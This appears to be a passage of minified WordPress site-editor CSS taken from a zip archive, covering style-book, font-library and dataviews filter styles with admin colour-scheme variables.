.edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-style-book{height:100%}.edit-site-style-book.is-button{border-radius:8px}.edit-site-style-book{align-items:stretch;display:flex;flex-direction:column}.edit-site-style-book__iframe{display:block;height:100%;width:100%}.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tablist-container{background:#fff;display:flex;flex:none;padding-left:56px;width:100%}.edit-site-style-book__tabpanel{flex:1 0 auto;overflow:auto}.edit-site-editor-canvas-container{background-color:var(--wp-editor-canvas-background);height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;left:8px;position:absolute;top:8px;z-index:2}.edit-site-post-edit{padding:24px}.dataforms-layouts-panel__field-dropdown .fields-controls__password{border-top:1px solid #e0e0e0;padding-top:16px}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-right:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{margin-bottom:70px;padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal .components-navigator-screen{padding:3px}.font-library-modal__tabpanel-layout{margin-top:32px}.font-library-modal__tabpanel-layout .font-library-modal__loading{align-items:center;display:flex;height:100%;justify-content:center;padding-top:124px;position:absolute;right:0;top:0;width:100%}.font-library-modal__footer{background-color:#fff;border-top:1px solid #ddd;bottom:32px;height:70px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__page-selection{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.font-library-modal__page-selection .components-select-control__input{font-size:11px!important;font-weight:500}}.font-library-modal__fonts-title{font-size:11px;font-weight:600;margin-bottom:0;margin-top:0;text-transform:uppercase}.font-library-modal__fonts-list{margin-bottom:0;margin-top:0}.font-library-modal__fonts-list-item{margin-bottom:0}.font-library-modal__font-card{border:1px solid #e0e0e0;height:auto!important;margin-top:-1px;padding:16px;width:100%}.font-library-modal__font-card:hover{background-color:#f0f0f0}.font-library-modal__font-card:focus{position:relative}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#757575}.font-library-modal__font-card .font-library-modal__font-variant_demo-image{display:block;height:24px;width:auto}.font-library-modal__font-card .font-library-modal__font-variant_demo-text{flex-shrink:0;white-space:nowrap}@media not (prefers-reduced-motion){.font-library-modal__font-card .font-library-modal__font-variant_demo-text{transition:opacity .3s ease-in-out}}.font-library-modal__font-variant{border-bottom:1px solid #e0e0e0;padding-bottom:16px}.font-library-modal__tablist-container{background:#fff;border-bottom:1px solid #ddd;margin:0 -32px;padding:0 16px;position:sticky;top:0;z-index:1}.font-library-modal__tablist-container [role=tablist]{margin-bottom:-1px}.font-library-modal__upload-area{align-items:center;display:flex;height:256px!important;justify-content:center;width:100%}button.font-library-modal__upload-area{background-color:#f0f0f0}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#757575}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center;margin-top:64px}.font-library__google-fonts-confirm p{line-height:1.4}.font-library__google-fonts-confirm h2{font-size:1.2rem;font-weight:400}.font-library__google-fonts-confirm .components-card{padding:16px;width:400px}.font-library__google-fonts-confirm .components-button{justify-content:center;width:100%}.font-library-modal__select-all{padding:16px 17px 16px 16px}.font-library-modal__select-all .components-checkbox-control__label{padding-right:16px}.edit-site-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:32px}.edit-site-global-styles-variations_item{box-sizing:border-box;cursor:pointer}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;outline:1px solid #0000001a;outline-offset:-1px;overflow:hidden;position:relative}@media not (prefers-reduced-motion){.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{transition:outline .1s linear}}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{height:32px}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{overflow:hidden}.edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#0000004d}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:#1e1e1e;outline-offset:1px;outline-width:var(--wp-admin-border-width-focus)}.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-styles .edit-site-global-styles-screen-root{box-shadow:none}.edit-site-styles .edit-site-global-styles-screen-root>div>hr{display:none}.edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{border-top:none}.edit-site-styles .edit-site-global-styles-sidebar__navigator-provider{overflow-y:auto;padding-left:0;padding-right:0}.edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{outline:none;padding:12px}.edit-site-styles .edit-site-sidebar-button{color:#1e1e1e}::view-transition-image-pair(root){isolation:auto}::view-transition-new(root),::view-transition-old(root){animation:none;display:block;mix-blend-mode:normal}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.edit-site{box-sizing:border-box}.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}.edit-site{height:100vh}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,114.7661290323,160.5;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,96.5322580645,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33.0384615385,68.7307692308,230.4615384615;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:23.6923076923,58.1538461538,214.3076923077;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7.3723404255,81.914893617,108.1276595745;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:5.7446808511,63.829787234,84.2553191489;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56.2692307692,51.4461538462,48.2307692308;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:42.5384615385,38.8923076923,36.4615384615;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:69.8430232558,53.6598837209,92.8401162791;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:57.6860465116,44.3197674419,76.6802325581;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221.4908256881,56.1788990826,45.0091743119;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:207.8348623853,44.2201834862,33.1651376147;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87.0873362445,110.192139738,116.4126637555;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76.1746724891,96.384279476,101.8253275109;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:216.8782608696,116.1847826087,37.6217391304;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195.147826087,104.5434782609,33.852173913;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK!æD·(WW css/dist/edit-site/posts.min.cssnuȯÝí@charset "UTF-8";:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.admin-ui-page{background-color:#fff;color:#2f2f2f;container:admin-ui-page/inline-size;display:flex;flex-flow:column;height:100%;position:relative;z-index:1}@media not (prefers-reduced-motion){.admin-ui-page{transition:width .2s ease-out}}.admin-ui-page__header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0}@container (max-width: 430px){.admin-ui-page__header{padding:16px 24px}}.admin-ui-page__header-subtitle{color:#757575;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px;margin:0;padding-block-end:8px}.admin-ui-page__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto}.admin-ui-page__content.has-padding{padding:16px 20px}@container (max-width: 430px){.admin-ui-page__content.has-padding{padding:16px 24px}}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{display:none}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.dataviews-picker-wrapper,.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;left:0;padding:16px 48px;position:sticky}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}.dataviews-loading-more{text-align:center}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){overflow:hidden;padding:8px 0 0}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{padding-inline:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{padding-inline-start:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{padding-inline-end:24px}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-right:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;max-width:250px;min-width:230px;width:100%}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 16px}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){border-bottom:1px solid #e0e0e0}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575;flex-shrink:0;max-width:calc(100% - 55px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{overflow:hidden;white-space:nowrap;width:100%}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{cursor:default}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;padding:0;position:absolute;right:4px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;gap:8px;line-height:20px;min-height:32px;padding:4px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{background:#fff;border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{border:1px solid #1e1e1e;border-radius:50%;height:24px;margin-right:12px;max-width:24px;min-width:24px;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{height:16px;max-width:16px;min-width:16px;width:16px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{background:var(--wp-admin-theme-color);border:none}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{margin:0;padding:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{background-color:#fff;border:4px solid #fff;border-radius:50%;box-sizing:inherit;content:"";height:12px;left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:24px;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-right:12px;padding:6px 8px;transition:none}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{opacity:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{margin:-4px 0 0 